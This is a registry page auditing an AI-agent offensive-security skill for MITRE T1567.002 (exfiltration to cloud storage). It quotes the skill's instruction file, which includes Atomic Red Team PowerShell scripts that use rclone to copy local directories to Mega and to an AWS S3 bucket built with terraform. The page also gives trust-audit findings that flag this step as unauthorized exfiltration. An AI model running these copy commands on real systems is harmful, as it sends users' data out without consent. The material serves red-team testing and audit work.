Atlas / Skills / cyberstrikeus / T1567.002 Exfiltration To Cloud Storage

T1567.002 Exfiltration To Cloud StorageCAUTION

skills/cyberstrikeus/t1567-002-exfiltration-to-cloud-storage

Open-source AI-powered offensive security harness for automated penetration testing.

Verdict
CAUTION
Grade
B
Trust score
87 /100
Version
18.1
Hosts
—
License
AGPL-3.0
Stars
3,185
01

Overview

Open-source AI-powered offensive security harness for automated penetration testing.

Read from source at commit eaf7d03223fcOBSERVED · 2026-10-18
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02

What it tells the agent

The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.

---
name: "T1567.002_exfiltration-to-cloud-storage"
description: "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel."
category: "client-side"
version: "18.1"
author: "cyberstrike-official"
tags:
  - mitre-attack
  - enterprise
  - t1567.002
  - exfiltration
  - esxi
  - linux
  - macos
  - windows
  - sub-technique
technique_id: "T1567.002"
tactic: "exfiltration"
all_tactics:
  - exfiltration
platforms:
  - ESXi
  - Linux
  - macOS
  - Windows
mitre_url: "https://attack.mitre.org/techniques/T1567/002"
tech_stack:
  - esxi
  - linux
  - macos
  - windows
cwe_ids:
  - CWE-200
chains_with:
  - T1567
  - T1567.001
  - T1567.003
  - T1567.004
prerequisites:
  - T1567
severity_boost:
  T1567: "Chain with T1567 for deeper attack path"
  T1567.001: "Chain with T1567.001 for deeper attack path"
  T1567.003: "Chain with T1567.003 for deeper attack path"
---

# T1567.002 Exfiltration to Cloud Storage

> **Sub-technique of:** T1567

## High-Level Description

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

## Kill Chain Phase

- Exfiltration (TA0010)

**Platforms:** ESXi, Linux, macOS, Windows

## What to Check

- [ ] Identify if Exfiltration to Cloud Storage technique is applicable to target environment
- [ ] Check ESXi systems for indicators of Exfiltration to Cloud Storage
- [ ] Check Linux systems for indicators of Exfiltration to Cloud Storage
- [ ] Check macOS systems for indicators of Exfiltration to Cloud Storage
- [ ] Verify mitigations are bypassed or absent (1 known mitigations)
- [ ] Assess detection coverage (1 detection strategies)

## How to Test

### Atomic Red Team Tests

The following tests are from [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) and provide actionable ways to test this technique:

### Atomic Test 1: Exfiltrate data with rclone to cloud Storage - Mega (Windows)

This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/

**Supported Platforms:** windows

```powershell
New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd "#{rclone_path}"
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v
```

**Dependencies:**

- rclone must exist at (#{rclone_path})

### Atomic Test 2: Exfiltrate data with rclone to cloud Storage - AWS S3

This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/

**Supported Platforms:** linux, macos

```powershell
Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = #{aws_region}
"@
$config | Out-File -FilePath "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf" -Encoding ascii
Write-Host "Done!"
Write-Host "Exfiltrating data... " -NoNewLine
$bucket = "$(PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform output bucket)".Replace("`"","")
cd PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone-v*
$null = ./rclone copy --max-size 1700k "PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/" exfils3:$bucket --config "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf"
Write-Host "Done!"
```

**Dependencies:**

- rclone must exist at (#{rclone_path})
- terraform must exist at (#{terraform_path})
- Must provide a valid directory or file path to exfiltrate to AWS S3

### Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. **Identify Attack Surface**: Determine if the target environment is susceptible to Exfiltration to Cloud Storage by examining the target platforms (ESXi, Linux, macOS).

2. **Assess Existing Defenses**: Review whether mitigations for T1567.002 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. **Execute Test**: Use tools and methods described in the MITRE ATT&CK page and external references below.

## Remediation Guide

### M1021 Restrict Web-Based Content

Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services.

## Detection

### Detection Strategy for Exfiltration to Cloud Storage

## Risk Assessment

| Finding                                            | Severity | Impact       |
| -------------------------------------------------- | -------- | ------------ |
| Exfiltration to Cloud Storage technique applicable | Low      | Exfiltration |

## CWE Categories

| CWE ID  | Title                             |
| ------- | -----------------------
03

Trust audit

CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeNA
L2Instruction surface (what it tells the agent)WARN
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
none-observed
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (6)

MEDIUMInventory / provenance · inv.symlink · CWE-1104
packages/app/public/apple-touch-icon-v3.png
packages/app/public/apple-touch-icon-v3.png
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
packages/app/public/apple-touch-icon.png
packages/app/public/apple-touch-icon.png
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
packages/app/public/favicon-96x96-v3.png
packages/app/public/favicon-96x96-v3.png
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
packages/app/public/favicon-96x96.png
packages/app/public/favicon-96x96.png
Why it matters. link not followed
MEDIUMInventory / provenance · inv.symlink · CWE-1104
packages/app/public/favicon-v3.ico
packages/app/public/favicon-v3.ico
Why it matters. link not followed
MEDIUMPrivilege escalation / persistence · review.unsafe_action · CWE-269, CWE-250
SKILL.md
$null = ./rclone copy --max-size 1700k "PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/" exfils3:$bucket
Why it matters. The skill instructs the agent to copy local data to an external cloud storage bucket, an exfiltration action the user did not explicitly authorize.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts

Gates applied: no_behavioural_pass.

Audited 2026-10-18 · audit v0.4.1 · source sha eaf7d03223fcfull audit observations/trust-audit/skill/cyberstrikeus__t1567.002_exfiltration-to-cloud-storage.json · Report an issue / request a re-scan
04

Audit history

Every audit this skill has had.

DateSourceVerdictGradeScoreChange
2026-10-18eaf7d03223fcCAUTIONB87first audit
05

Questions

What does the T1567.002 Exfiltration To Cloud Storage skill do?

Open-source AI-powered offensive security harness for automated penetration testing.

Is T1567.002 Exfiltration To Cloud Storage safe to install?

With care. The audit graded it B (87/100) and found 6 things worth knowing before you trust this skill, listed below with the exact line each was found on.

What can T1567.002 Exfiltration To Cloud Storage access on my machine?

The audit observed no filesystem, network or shell use at all in its source.

How current is this page?

The grade is for one exact copy of the source (eaf7d03223fc), read on 2026-10-18. The repository is watched, and a new audit runs when it changes — this is the first audit.

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